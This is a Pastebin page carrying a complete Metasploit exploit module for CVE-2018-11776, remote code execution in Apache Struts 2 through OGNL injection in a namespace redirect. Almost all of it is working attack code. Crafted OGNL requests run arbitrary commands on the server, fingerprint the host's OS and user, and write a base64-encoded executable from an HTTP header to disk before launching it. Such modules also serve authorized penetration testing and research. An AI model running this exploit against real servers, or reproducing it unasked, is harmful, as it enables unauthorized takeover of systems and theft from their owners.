SHARE
TWEET

CVE-2018-11776

TVT618 Sep 24th, 2018 469 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ##
  2. # This module requires Metasploit: https://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5.  
  6. class MetasploitModule < Msf::Exploit::Remote
  7.   Rank = ExcellentRanking
  8.  
  9.   include Msf::Exploit::Remote::HttpClient
  10.   include Msf::Exploit::EXE
  11.  
  12.   # Eschewing CmdStager for now, since the use of '\' and ';' are killing me
  13.   #include Msf::Exploit::CmdStager   # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers
  14.  
  15.   def initialize(info = {})
  16.     super(update_info(info,
  17.       'Name'           => 'Apache Struts 2 Namespace Redirect OGNL Injection',
  18.       'Description'    => %q{
  19.         This module exploits a remote code execution vulnerability in Apache Struts
  20.         version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed
  21.         via an endpoint that makes use of a redirect action.
  22.  
  23.         Native payloads will be converted to executables and dropped in the
  24.         server's temp dir. If this fails, try a cmd/* payload, which won't
  25.         have to write to the disk.
  26.       },
  27.       #TODO: Is that second paragraph above still accurate?
  28.       'Author'         => [
  29.         'Man Yue Mo', # Discovery
  30.         'hook-s3c',   # PoC
  31.         'asoto-r7',   # Metasploit module
  32.         'wvu'         # Metasploit module
  33.       ],
  34.       'References'     => [
  35.         ['CVE', '2018-11776'],
  36.         ['URL', 'https://lgtm.com/blog/apache_struts_CVE-2018-11776'],
  37.         ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057'],
  38.         ['URL', 'https://github.com/hook-s3c/CVE-2018-11776-Python-PoC'],
  39.       ],
  40.       'Privileged'     => false,
  41.       'Targets'        => [
  42.         [
  43.           'Automatic detection', {
  44.             'Platform'   => %w{ unix windows linux },
  45.             'Arch'       => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
  46.           },
  47.         ],
  48.         [
  49.           'Windows', {
  50.             'Platform'   => %w{ windows },
  51.             'Arch'       => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
  52.           },
  53.         ],
  54.         [
  55.           'Linux', {
  56.             'Platform'       => %w{ unix linux },
  57.             'Arch'           => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
  58.             'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'}
  59.           },
  60.         ],
  61.       ],
  62.       'DisclosureDate' => 'Aug 22 2018', # Private disclosure = Apr 10 2018
  63.       'DefaultTarget'  => 0))
  64.  
  65.       register_options(
  66.         [
  67.           Opt::RPORT(8080),
  68.           OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),
  69.           OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]),
  70.           OptString.new('ENABLE_STATIC', [ true, 'Enable "allowStaticMethodAccess" before executing OGNL', true ]),
  71.         ]
  72.       )
  73.       register_advanced_options(
  74.         [
  75.           OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]),
  76.           OptString.new('HEADER', [ true, 'The HTTP header field used to transport the optional payload', "X-#{rand_text_alpha(4)}"] ),
  77.           OptString.new('TEMPFILE', [ true, 'The temporary filename written to disk when executing a payload', "#{rand_text_alpha(8)}"] ),
  78.         ]
  79.       )
  80.   end
  81.  
  82.   def check
  83.     # METHOD 1: Try to extract the state of hte allowStaticMethodAccess variable
  84.     ognl = "#_memberAccess['allowStaticMethodAccess']"
  85.  
  86.     resp = send_struts_request(ognl)
  87.  
  88.     # If vulnerable, the server should return an HTTP 302 (Redirect)
  89.     #   and the 'Location' header should contain either 'true' or 'false'
  90.     if resp && resp.headers['Location']
  91.       output = resp.headers['Location']
  92.       vprint_status("Redirected to:  #{output}")
  93.       if (output.include? '/true/')
  94.         print_status("Target does *not* require enabling 'allowStaticMethodAccess'.  Setting ENABLE_STATIC to 'false'")
  95.         datastore['ENABLE_STATIC'] = false
  96.         CheckCode::Vulnerable
  97.       elsif (output.include? '/false/')
  98.         print_status("Target requires enabling 'allowStaticMethodAccess'.  Setting ENABLE_STATIC to 'true'")
  99.         datastore['ENABLE_STATIC'] = true
  100.         CheckCode::Vulnerable
  101.       else
  102.         CheckCode::Safe
  103.       end
  104.     elsif resp && resp.code==400
  105.       # METHOD 2: Generate two random numbers, ask the target to add them together.
  106.       #   If it does, it's vulnerable.
  107.       a = rand(10000)
  108.       b = rand(10000)
  109.       c = a+b
  110.  
  111.       ognl = "#{a}+#{b}"
  112.  
  113.       resp = send_struts_request(ognl)
  114.  
  115.       if resp.headers['Location'].include? c.to_s
  116.         vprint_status("Redirected to:  #{resp.headers['Location']}")
  117.         print_status("Target does *not* require enabling 'allowStaticMethodAccess'.  Setting ENABLE_STATIC to 'false'")
  118.         datastore['ENABLE_STATIC'] = false
  119.         CheckCode::Vulnerable
  120.       else
  121.         CheckCode::Safe
  122.       end
  123.     end
  124.   end
  125.  
  126.   def exploit
  127.     case payload.arch.first
  128.     when ARCH_CMD
  129.       resp = execute_command(payload.encoded)
  130.     else
  131.       resp = send_payload()
  132.     end
  133.   end
  134.  
  135.   def encode_ognl(ognl)
  136.     # Check and fail if the command contains the follow bad characters:
  137.     #   ';' seems to terminates the OGNL statement
  138.     #   '/' causes the target to return an HTTP/400 error
  139.     #   '\' causes the target to return an HTTP/400 error (sometimes?)
  140.     #   '\r' ends the GET request prematurely
  141.     #   '\n' ends the GET request prematurely
  142.  
  143.     # TODO: Make sure the following line is uncommented
  144.     bad_chars = %w[; \\ \r \n]    # and maybe '/'
  145.     bad_chars.each do |c|
  146.       if ognl.include? c
  147.         print_error("Bad OGNL request: #{ognl}")
  148.         fail_with(Failure::BadConfig, "OGNL request cannot contain a '#{c}'")
  149.       end
  150.     end
  151.  
  152.     # The following list of characters *must* be encoded or ORNL will asplode
  153.     encodable_chars = { "%": "%25",       # Always do this one first.  :-)
  154.                         " ": "%20",
  155.                         "\"":"%22",
  156.                         "#": "%23",
  157.                         "'": "%27",
  158.                         "<": "%3c",
  159.                         ">": "%3e",
  160.                         "?": "%3f",
  161.                         "^": "%5e",
  162.                         "`": "%60",
  163.                         "{": "%7b",
  164.                         "|": "%7c",
  165.                         "}": "%7d",
  166.                        #"\/":"%2f",       # Don't do this.  Just leave it front-slashes in as normal.
  167.                        #";": "%3b",       # Doesn't work.  Anyone have a cool idea for a workaround?
  168.                        #"\\":"%5c",       # Doesn't work.  Anyone have a cool idea for a workaround?
  169.                        #"\\":"%5c%5c",    # Doesn't work.  Anyone have a cool idea for a workaround?
  170.                       }
  171.  
  172.     encodable_chars.each do |k,v|
  173.      #ognl.gsub!(k,v)                     # TypeError wrong argument type Symbol (expected Regexp)
  174.       ognl.gsub!("#{k}","#{v}")
  175.     end
  176.     return ognl
  177.   end
  178.  
  179.   def send_struts_request(ognl, payload: nil)
  180. =begin  #badchar-checking code
  181.     pre = ognl
  182. =end
  183.  
  184.     ognl = "${#{ognl}}"
  185.     vprint_status("Submitted OGNL: #{ognl}")
  186.     ognl = encode_ognl(ognl)
  187.  
  188.     headers = {'Keep-Alive': 'timeout=5, max=1000'}
  189.  
  190.     if payload
  191.       vprint_status("Embedding payload of #{payload.length} bytes")
  192.       headers[datastore['HEADER']] = payload
  193.     end
  194.  
  195.     # TODO: Embed OGNL in an HTTP header to hide it from the Tomcat logs
  196.     uri = "/#{ognl}/#{datastore['ACTION']}"
  197.  
  198.     resp = send_request_cgi(
  199.      #'encode'  => true,     # this fails to encode '\', which is a problem for me
  200.       'uri'     => uri,
  201.       'method'  => datastore['HTTPMethod'],
  202.       'headers' => headers
  203.     )
  204.  
  205.     if resp && resp.code == 404
  206.       fail_with(Failure::UnexpectedReply, "Server returned HTTP 404, please double check TARGETURI and ACTION options")
  207.     end
  208.  
  209. =begin  #badchar-checking code
  210.     print_status("Response code: #{resp.code}")
  211.     #print_status("Response recv: BODY '#{resp.body}'") if resp.body
  212.     if resp.headers['Location']
  213.       print_status("Response recv: LOC: #{resp.headers['Location'].split('/')[1]}")
  214.       if resp.headers['Location'].split('/')[1] == pre[1..-2]
  215.         print_good("GOT 'EM!")
  216.       else
  217.         print_error("                       #{pre[1..-2]}")
  218.       end
  219.     end
  220. =end
  221.  
  222.     resp
  223.   end
  224.  
  225.   def profile_target
  226.     # Use OGNL to extract properties from the Java environment
  227.  
  228.     properties = { 'os.name': nil,          # e.g. 'Linux'
  229.                    'os.arch': nil,          # e.g. 'amd64'
  230.                    'os.version': nil,       # e.g. '4.4.0-112-generic'
  231.                    'user.name': nil,        # e.g. 'root'
  232.                    #'user.home': nil,       # e.g. '/root' (didn't work in testing)
  233.                    'user.language': nil,    # e.g. 'en'
  234.                    #'java.io.tmpdir': nil,  # e.g. '/usr/local/tomcat/temp' (didn't work in testing)
  235.                    }
  236.  
  237.     ognl = ""
  238.     ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
  239.     ognl << %Q|('#{rand_text_alpha(2)}')|
  240.     properties.each do |k,v|
  241.       ognl << %Q|+(@java.lang.System@getProperty('#{k}'))+':'|
  242.     end
  243.     ognl = ognl[0...-4]
  244.  
  245.     r = send_struts_request(ognl)
  246.  
  247.     if r.code == 400
  248.       fail_with(Failure::UnexpectedReply, "Server returned HTTP 400, consider toggling the ENABLE_STATIC option")
  249.     elsif r.headers['Location']
  250.       # r.headers['Location'] should look like '/bILinux:amd64:4.4.0-112-generic:root:en/help.action'
  251.       #   Extract the OGNL output from the Location path, and strip the two random chars
  252.       s = r.headers['Location'].split('/')[1][2..-1]
  253.  
  254.       if s.nil?
  255.         # Since the target didn't respond with an HTTP/400, we know the OGNL code executed.
  256.         #   But we didn't get any output, so we can't profile the target.  Abort.
  257.         return nil
  258.       end
  259.  
  260.       # Confirm that all fields were returned, and non include extra (:) delimiters
  261.       #   If the OGNL fails, we might get a partial result back, in which case, we'll abort.
  262.       if s.count(':') > properties.length
  263.         print_error("Failed to profile target.  Response from server: #{r.to_s}")
  264.         fail_with(Failure::UnexpectedReply, "Target responded with unexpected profiling data")
  265.       end
  266.  
  267.       # Separate the colon-delimited properties and store in the 'properties' hash
  268.       s = s.split(':')
  269.       i = 0
  270.       properties.each do |k,v|
  271.         properties[k] = s[i]
  272.         i += 1
  273.       end
  274.  
  275.       print_good("Target profiled successfully: #{properties[:'os.name']} #{properties[:'os.version']}" +
  276.         " #{properties[:'os.arch']}, running as #{properties[:'user.name']}")
  277.       return properties
  278.     else
  279.       print_error("Failed to profile target.  Response from server: #{r.to_s}")
  280.       fail_with(Failure::UnexpectedReply, "Server did not respond properly to profiling attempt.")
  281.     end
  282.   end
  283.  
  284.   def execute_command(cmd_input, opts={})
  285.     # Semicolons appear to be a bad character in OGNL.  cmdstager doesn't understand that.
  286.     if cmd_input.include? ';'
  287.       print_warning("WARNING: Command contains bad characters: semicolons (;).")
  288.     end
  289.  
  290.     begin
  291.       properties = profile_target
  292.       os = properties[:'os.name'].downcase
  293.     rescue
  294.       vprint_warning("Target profiling was unable to determine operating system")
  295.       os = ''
  296.       os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
  297.       os = 'linux'   if datastore['PAYLOAD'].downcase.include? 'linux'
  298.       os = 'unix'    if datastore['PAYLOAD'].downcase.include? 'unix'
  299.     end
  300.  
  301.     if (os.include? 'linux') || (os.include? 'nix')
  302.       cmd = "{'sh','-c','#{cmd_input}'}"
  303.     elsif os.include? 'win'
  304.       cmd = "{'cmd.exe','/c','#{cmd_input}'}"
  305.     else
  306.       vprint_error("Failed to detect target OS.  Attempting to execute command directly")
  307.       cmd = cmd_input
  308.     end
  309.  
  310.     # The following OGNL will run arbitrary commands on Windows and Linux
  311.     #   targets, as well as returning STDOUT and STDERR.  In my testing,
  312.     #   on Struts2 in Tomcat 7.0.79, commands timed out after 18-19 seconds.
  313.  
  314.     vprint_status("Executing: #{cmd}")
  315.  
  316.     ognl =  ""
  317.     ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
  318.     ognl << %Q|(#p=new java.lang.ProcessBuilder(#{cmd})).|
  319.     ognl << %q|(#p.redirectErrorStream(true)).|
  320.     ognl << %q|(#process=#p.start()).|
  321.     ognl << %q|(#r=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).|
  322.     ognl << %q|(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#r)).|
  323.     ognl << %q|(#r.flush())|
  324.  
  325.     r = send_struts_request(ognl)
  326.  
  327.     if r && r.code == 200
  328.       print_good("Command executed:\n#{r.body}")
  329.     elsif r
  330.       if r.body.length == 0
  331.         print_status("Payload sent, but no output provided from server.")
  332.       elsif r.body.length > 0
  333.         print_error("Failed to run command.  Response from server: #{r.to_s}")
  334.       end
  335.     end
  336.   end
  337.  
  338.   def send_payload
  339.     # Probe for the target OS and architecture
  340.     begin
  341.       properties = profile_target
  342.       os = properties[:'os.name'].downcase
  343.     rescue
  344.       vprint_warning("Target profiling was unable to determine operating system")
  345.       os = ''
  346.       os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
  347.       os = 'linux'   if datastore['PAYLOAD'].downcase.include? 'linux'
  348.       os = 'unix'    if datastore['PAYLOAD'].downcase.include? 'unix'
  349.     end
  350.  
  351.     data_header = datastore['HEADER']
  352.     if data_header.empty?
  353.       fail_with(Failure::BadConfig, "HEADER parameter cannot be blank when sending a payload")
  354.     end
  355.  
  356.     random_filename = datastore['TEMPFILE']
  357.  
  358.     # d = data stream from HTTP header
  359.     # f = path to temp file
  360.     # s = stream/handle to temp file
  361.     ognl  = ""
  362.     ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
  363.     ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).|
  364.     ognl << %Q|(#f=@java.io.File@createTempFile('#{random_filename}','tmp')).|
  365.     ognl << %q|(#f.setExecutable(true)).|
  366.     ognl << %q|(#f.deleteOnExit()).|
  367.     ognl << %q|(#s=new java.io.FileOutputStream(#f)).|
  368.     ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|
  369.     ognl << %q|(#s.write(#d)).|
  370.     ognl << %q|(#s.close()).|
  371.     ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
  372.     ognl << %q|(#p.start()).|
  373.     ognl << %q|(#f.delete()).|
  374.  
  375.     success_string = rand_text_alpha(4)
  376.     ognl << %Q|('#{success_string}')|
  377.  
  378.     exe = [generate_payload_exe].pack("m").delete("\n")
  379.     r = send_struts_request(ognl, payload: exe)
  380.  
  381.     if r && r.headers && r.headers['Location'].split('/')[1] == success_string
  382.       print_good("Payload successfully dropped and executed.")
  383.     elsif r && r.headers['Location']
  384.       vprint_error("RESPONSE: " + r.headers['Location'])
  385.       fail_with(Failure::PayloadFailed, "Target did not successfully execute the request")
  386.     elsif r && r.code == 400
  387.       fail_with(Failure::UnexpectedReply, "Target reported an unspecified error while executing the payload")
  388.     end
  389.   end
  390. end
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top